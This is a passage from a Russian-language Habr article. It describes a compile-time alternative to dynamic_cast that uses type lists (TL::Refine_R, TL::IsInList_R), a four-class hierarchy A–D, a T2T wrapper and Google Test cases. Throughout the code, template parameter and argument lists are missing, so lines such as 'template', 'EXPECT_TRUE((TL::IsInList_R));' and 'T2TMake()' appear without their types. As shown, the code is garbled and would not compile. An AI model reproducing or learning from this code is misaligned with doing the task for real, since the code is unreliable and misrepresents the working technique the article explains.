EXPECT\_TRUE((TL::IsInList\_R));
EXPECT\_TRUE((TL::IsInList\_R));
}
{
using TClass = D;
EXPECT\_EQ(TClass::BASE\_t::size, 4);
EXPECT\_TRUE((TL::IsInList\_R));
EXPECT\_TRUE((TL::IsInList\_R));
EXPECT\_TRUE((TL::IsInList\_R));
EXPECT\_TRUE((TL::IsInList\_R));
}
}
// TT - Type to Type
template
struct T2T {
std::shared\_ptr value;
using PossibleTo\_t = BASE\_t;
};
template
auto T2TMake(Arguments&&... arguments) {
T2T>> result{};
result.value = std::make\_shared(arguments...);
return result;
}
template
void AttemptUse(T2T tb) {
static\_assert(TL::IsInList\_R, "this function can to use only with C-derivative params");
tb.value->F1();
}
TEST(T2TMake, test) {
{
auto value = T2TMake();
using TClass = decltype(value)::PossibleTo\_t;
EXPECT\_EQ(TClass::size, 3);
EXPECT\_TRUE((TL::IsInList\_R));
EXPECT\_TRUE((TL::IsInList\_R));
EXPECT\_TRUE((TL::IsInList\_R));
// AttemptUse(value); // compilation error
}
{
auto value = T2TMake(1, 2);
using TClass = decltype(value)::PossibleTo\_t;
EXPECT\_EQ(TClass::size, 3);
EXPECT\_TRUE((TL::IsInList\_R));
EXPECT\_TRUE((TL::IsInList\_R));
EXPECT\_TRUE((TL::IsInList\_R));
// AttemptUse(value); // compilation error
}
{
auto value = T2TMake();
using TClass = decltype(value)::PossibleTo\_t;
EXPECT\_EQ(TClass::size, 4);
EXPECT\_TRUE((TL::IsInList\_R));
EXPECT\_TRUE((TL::IsInList\_R));
EXPECT\_TRUE((TL::IsInList\_R));
EXPECT\_TRUE((TL::IsInList\_R));
AttemptUse(value);
}
{
auto value = T2TMake(1, 2, 3);
using TClass = decltype(value)::PossibleTo\_t;
EXPECT\_EQ(TClass::size, 4);
EXPECT\_TRUE((TL::IsInList\_R));
EXPECT\_TRUE((TL::IsInList\_R));
EXPECT\_TRUE((TL::IsInList\_R));
EXPECT\_TRUE((TL::IsInList\_R));
AttemptUse(value);
}
{
auto value = T2TMake();
using TClass = decltype(value)::PossibleTo\_t;
EXPECT\_EQ(TClass::size, 5);
EXPECT\_TRUE((TL::IsInList\_R));
EXPECT\_TRUE((TL::IsInList\_R));
EXPECT\_TRUE((TL::IsInList\_R));
EXPECT\_TRUE((TL::IsInList\_R));
EXPECT\_TRUE((TL::IsInList\_R));
AttemptUse(value);
}
{
auto value = T2TMake(1, 2, 3, 4);
using TClass = decltype(value)::PossibleTo\_t;
EXPECT\_EQ(TClass::size, 5);
EXPECT\_TRUE((TL::IsInList\_R));
EXPECT\_TRUE((TL::IsInList\_R));
EXPECT\_TRUE((TL::IsInList\_R));
EXPECT\_TRUE((TL::IsInList\_R));
EXPECT\_TRUE((TL::IsInList\_R));
AttemptUse(value);
}
}
int main(int argc, char\* argv[]) {
::testing::InitGoogleTest(&argc, argv);
return RUN\_ALL\_TESTS();
}
```
1. **Создание первого класса в иерархии `class A`**
```
class A {
public:
using BASE_t = TL::Refine_R>;
A() {}
A(int a) {
buffer << ' ' << a;
}
virtual void F1() = 0;
protected:
std::stringstream buffer;
};
```
`class A` — это простой чисто-вирутуальный класс, главной особенностью которого является строка: `using BASE_t = TL::Refine_R>;`, которая определяет для класса список типов от которых наследуется класс.
Здесь и далее:
* `TL::CreateTypesList_R` — структура, создающая список типов произвольной длинны.
* `TL::Refine_R` — структура, очищающая список типов от дубликатов, в случае наличия таковых.
Т.к. класс А ни от кого не наследуется, то единственным типом к которому он может быть напрямую приведён является `void`.
2. **Создание второго класса в иерархии `class B`**
```
class B : public A {
public:
using BASE_t = TL::Refine_R>;
B() {}
B(int a, int b)
: A(a) {
buffer << ' ' << b;
}
virtual void F1() override {
std::cout << "class::B" << buffer.str() << std::endl;
}
};
```
Как видим, класс В наследуется от класса А, а потому в его `BASE_t` — списке типов к которым может быть приведёт класс В, содержится класс А и все базовые типы класса А.
3. **Создание третьего класса в иерархии `class C`**
```
class C : public B {
public:
using BASE_t = TL::Refine_R>;
C() {}
C(int a, int b, int c)
: B(a, b) {
buffer << ' ' << c;
}
virtual void F1() override {
std::cout << "class::C" << buffer.str() << std::endl;
}
};
```
Класс С, является наследником класса В, следовательно в его `BASE_t` содержится класс В, и все базовые типы класса В.
4. **Создание четвёртого класса в иерархии `class D`**
```
class D : public C {
public:
using BASE_t = TL::Refine_R>;
D() {}
D(int a, int b, int c, int d)
: C(a, b, c) {
buffer << ' ' << d;
}
virtual void F1() override {
std::cout << "class::D" << buffer.str() << std::endl;
}
};
```
Аналогично предыдущему классу, класс D наследуется от класса С и его `BASE_t` содержит класс С и все его базовые типы.
5. **Проверка базовых типов классов**
Здесь и далее, структура `TL::IsInList_R` возвращает `true` когда и только тогда, когда тип `Type` входит в список типов `TypesList`, и `false` — в противном случае.
```
TEST(Check_class_bases, test) {
{
using TClass = A;
EXPECT_EQ(TClass::BASE_t::size, 1);
EXPECT_TRUE((TL::IsInList_R));
}
{
using TClass = B;
EXPECT\_EQ(TClass::BASE\_t::size, 2);
EXPECT\_TRUE((TL::IsInList\_R));
EXPECT\_TRUE((TL::IsInList\_R));
}
{
using TClass = C;
EXPECT\_EQ(TClass::BASE\_t::size, 3);
EXPECT\_TRUE((TL::IsInList\_R));
EXPECT\_TRUE((TL::IsInList\_R));
EXPECT\_TRUE((TL::IsInList\_R));
}
{
using TClass = D;
EXPECT\_EQ(TClass::BASE\_t::size, 4);
EXPECT\_TRUE((TL::IsInList\_R));
EXPECT\_TRUE((TL::IsInList\_R));
EXPECT\_TRUE((TL::IsInList\_R));
EXPECT\_TRUE((TL::IsInList\_R));
}
}
```
Как видно из фрагмента кода, каждый из созданных классов: `class A`, `class B`, `class C` и `class D`, — содержит в своём `BASE_t` типы к которым этот класс может быть приведён вниз по иерархии наследования.
**Создание структуры с информацией о наследовании вверх по иерархии**
```
// T2T - Type to Type
template
struct T2T {
std::shared\_ptr value;
using PossibleTo\_t = BASE\_t;
};
```
Данная структура предназначена для хранения указателя на экземпляр `value` типа `Type` и списка типов `PossibleTo_t` к которым `value` может быть приведён, включая типы выше по иерархии от (унаследованные от) `Type`.
**Создание функции для создания структуры `T2T`**
```
template
auto T2TMake(Arguments&&... arguments) {
T2T>> result{};
result.value = std::make\_shared(arguments...);
return result;
}
```
Шаблонные параметры функции `T2TMake` имеют следующее предназначение:
* `From` — истинный тип объекта, создаваемого для хранения в структуре `T2T`;
* `To` — тип под которым созданный объект хранится в структуре `T2T`;
* `Arguments` — типы аргументов для создания целевого объекта.
Как видно, данная фукнция будет компилироваться только в случае, если тип `From` является наследником типа `To`, а запись `TL::Refine_R>` создаёт список типов для структуры `T2T` по которому в дальнейшем можно будeт однозначно определить всё множество типов к которым может быть приведён указатель на объект `value`.
**Создание функции для проверки корректности работы структуры `T2T`**
```
template
void AttemptUse(T2T tb) {
static\_assert(TL::IsInList\_R, "this function can to use only with C-derivative params");
tb.value->F1();
}
```
По придуманным условиям, данная функция может работать с объектами класса А, являющимися приведёнными от объектов не ниже класса С по иерархии типов, причём, — и это самое важное, — данное условие проверяется ещё на этапе компиляции.
**Итоговое тестирование созданной логики**
```
TEST(T2TMake, test) {
{
auto value = T2TMake();
using TClass = decltype(value)::PossibleTo\_t;
EXPECT\_EQ(TClass::size, 3);
EXPECT\_TRUE((TL::IsInList\_R));
EXPECT\_TRUE((TL::IsInList\_R));
EXPECT\_TRUE((TL::IsInList\_R));
// AttemptUse(value); // compilation error
}
{
auto value = T2TMake(1, 2);
using TClass = decltype(value)::PossibleTo\_t;
EXPECT\_EQ(TClass::size, 3);
EXPECT\_TRUE((TL::IsInList\_R));
EXPECT\_TRUE((TL::IsInList\_R));
EXPECT\_TRUE((TL::IsInList\_R));
// AttemptUse(value); // compilation error
}
{
auto value = T2TMake();
using TClass = decltype(value)::PossibleTo\_t;
EXPECT\_EQ(TClass::size, 4);
EXPECT\_TRUE((TL::IsInList\_R));
EXPECT\_TRUE((TL::IsInList\_R));
EXPECT\_TRUE((TL::IsInList\_R));
EXPECT\_TRUE((TL::IsInList\_R));
AttemptUse(value);
}
{
auto value = T2TMake(1, 2, 3);
using TClass = decltype(value)::PossibleTo\_t;
EXPECT\_EQ(TClass::size, 4);
EXPECT\_TRUE((TL::IsInList\_R));
EXPECT\_TRUE((TL::IsInList\_R));
EXPECT\_TRUE((TL::IsInList\_R));
EXPECT\_TRUE((TL::IsInList\_R));
AttemptUse(value);
}
{
auto value = T2TMake();
using TClass = decltype(value)::PossibleTo\_t;
EXPECT\_EQ(TClass::size, 5);
EXPECT\_TRUE((TL::IsInList\_R));
EXPECT\_TRUE((TL::IsInList\_R));
EXPECT\_TRUE((TL::IsInList\_R));
EXPECT\_TRUE((TL::IsInList\_R));
EXPECT\_TRUE((TL::IsInList\_R));
AttemptUse(value);
}
{
auto value = T2TMake(1, 2, 3, 4);
using TClass = decltype(value)::PossibleTo\_t;
EXPECT\_EQ(TClass::size, 5);
EXPECT\_TRUE((TL::IsInList\_R));
EXPECT\_TRUE((TL::IsInList\_R));
EXPECT\_TRUE((TL::IsInList\_R));
EXPECT\_TRUE((TL::IsInList\_R));
EXPECT\_TRUE((TL::IsInList\_R));
AttemptUse(value);
}
}
```
Выводы
------
`dynamic_cast` на этапе компиляции — это реально.
Однако, вопрос о целесообразности остаётся насущным.
Спасибо всем, кто прочитал статью :) — буду рад узнать ваш опыт, мнение по, или, возможно, даже решение описанной в статье задачи в комментариях. | https://habr.com/ru/post/534870/ | null | ru | null |